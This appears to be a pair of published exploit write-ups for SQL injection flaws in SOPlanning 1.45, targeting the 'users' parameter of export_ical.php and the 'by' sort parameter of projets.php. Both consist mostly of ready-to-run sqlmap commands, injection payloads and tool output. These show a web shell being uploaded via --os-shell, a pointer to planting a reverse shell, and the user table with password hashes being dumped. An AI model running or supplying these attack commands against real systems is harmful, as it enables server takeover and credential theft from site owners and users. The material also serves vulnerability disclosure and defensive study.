Share
# Exploit Title: SOPlanning 1.45 - 'users' SQL Injection  
# Date: 2020-02-14  
# Exploit Author: J3rryBl4nks, Homebrewer  
# Vendor Homepage: https://www.soplanning.org/en/  
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/  
# Version 1.45  
# Tested on Windows 10/Kali Rolling  
  
The SOPlanning application is vulnerable to SQL Injection that leads to Remote Code Execution.  
  
Exploit POC:  
  
Once you have extracted the admin hash, you can now use that to get command execution on the machine through another SQL Injection.  
  
Save the admin hash and insert it into SQLMap as such:  
  
sqlmap -u 'http://HOSTHERE/soplanning/www/export_ical.php?login=admin&hash=HASHHERE&nocache&users=ADM&age=3' -p users --risk=3 --level=5 --threads=10 --dbms=mysql --keep-alive --os-shell\  
  
  
Now you have a web shell uploaded to the server:  
  
11:52:31] [INFO] GET parameter 'users' is 'MySQL UNION query (NULL) - 41 to 60 columns' injectable  
GET parameter 'users' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
sqlmap identified the following injection point(s) with a total of 2122 HTTP(s) requests:  
---  
Parameter: users (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') AND (SELECT 6911 FROM (SELECT(SLEEP(5)))GfEH) AND ('gglk'='gglk&age=3  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 42 columns  
Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x4e6564784469636f6a4f5867627a44744f517452677545755a455a694c4d676f436a776f66645547,0x716a707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&age=3  
---  
[11:53:02] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.41, PHP 7.2.26  
back-end DBMS: MySQL >= 5.0.12  
[11:53:02] [INFO] going to use a web backdoor for command prompt  
[11:53:02] [INFO] fingerprinting the back-end DBMS operating system  
[11:53:02] [INFO] the back-end DBMS operating system is Windows  
which web application language does the web server support?  
[1] ASP  
[2] ASPX  
[3] JSP  
[4] PHP (default)  
> 4  
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n  
[11:53:07] [WARNING] unable to automatically retrieve the web server document root  
what do you want to use for writable directory?  
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)  
[2] custom location(s)  
[3] custom directory list file  
[4] brute force search  
> 2  
please provide a comma separate list of absolute directory paths: C:\xampp\htdocs\soplanning\www  
[11:53:23] [WARNING] unable to automatically parse any web server path  
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via LIMIT 'LINES TERMINATED BY' method  
[11:53:23] [WARNING] unable to upload the file stager on 'C:/xampp/htdocs/soplanning/www/'  
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via UNION method  
[11:53:23] [WARNING] expect junk characters inside the file as a leftover from UNION query  
[11:53:23] [INFO] the remote file 'C:/xampp/htdocs/soplanning/www/tmpubhkt.php' is larger (768 B) than the local file '/tmp/sqlmapi5F_1P150931/tmpEOtI5R' (727B)  
[11:53:23] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/soplanning/www/' - http://HOST/soplanning/www/tmpubhkt.php  
  
  
Using that webshell you can upload your reverse shell.  
  
Mad props to : https://twitter.com/HackingHomebre1 for the POC creation and assist.  
  
  
  
  
  
  
# Exploit Title: SOPlanning 1.45 - 'by' SQL Injection  
# Date: 2020-02-14  
# Exploit Author: J3rryBl4nks  
# Vendor Homepage: https://www.soplanning.org/en/  
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/  
# Version 1.45  
# Tested on Windows 10/Kali Rolling  
  
# The SOPlanning application is vulnerable to SQL Injection in the OrderBy clause of the sort on the Projects page:  
# POC:  
# The SOPlanning 1.45 application is vulnerable to SQL Injection which can be leveraged into getting the information for the users table.  
  
# Capture the request in Burpsuite:  
  
GET /soplanning/www/projets.php?order=nom_createur&by=ASC HTTP/1.1  
Host: HOSTNAME  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://HOST/soplanning/www/projets.php?order=charge&by=ASC  
Connection: close  
Cookie: xposMois=0; dateDebut=14/02/2020; dateFin=14/04/2020; xposMoisWin=0; xposJoursWin=0; xposJours=0; yposMoisWin=0; yposMois=0; yposJoursWin=0; yposJours=0; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9; soplanningplanning_=pnljrmetd5cse4d8dm1f09fn0u; baseLigne=users; baseColonne=jours; statut_projet=%5B%22abandon%22%2C%22archive%22%2C%22a_faire%22%2C%22en_cours%22%2C%22fait%22%5D  
Upgrade-Insecure-Requests: 1  
  
# Feed the request into SQLMap:  
  
sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump  
  
  
  
Then you will be able to see the information for the users in the database:  
  
root@kali:~/SOPlanning# sqlmap -r projects.req --level=5 --risk=3 -p by --dbms=mysql -D soplanning -T planning_user --dump  
___  
__H__  
___ ___[(]_____ ___ ___ {1.4.1.2#dev}  
|_ -| . [,] | .'| . |  
|___|_ [)]_|_|_|__,| _|  
|_|V... |_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[*] starting @ 11:13:27 /2020-02-14/  
  
[11:13:27] [INFO] parsing HTTP request from 'projects.req'  
[11:13:27] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: by (GET)  
Type: boolean-based blind  
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause  
Payload: order=nom_createur&by=ASC,(SELECT (CASE WHEN (6871=6871) THEN 1 ELSE 6871*(SELECT 6871 FROM INFORMATION_SCHEMA.PLUGINS) END))  
  
Type: time-based blind  
Title: MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)  
Payload: order=nom_createur&by=ASC PROCEDURE ANALYSE(EXTRACTVALUE(9535,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x77464654))))),1)  
---  
  
  
Because it's time based it will take a while to retrieve the user details, but you will retrieve password hashes.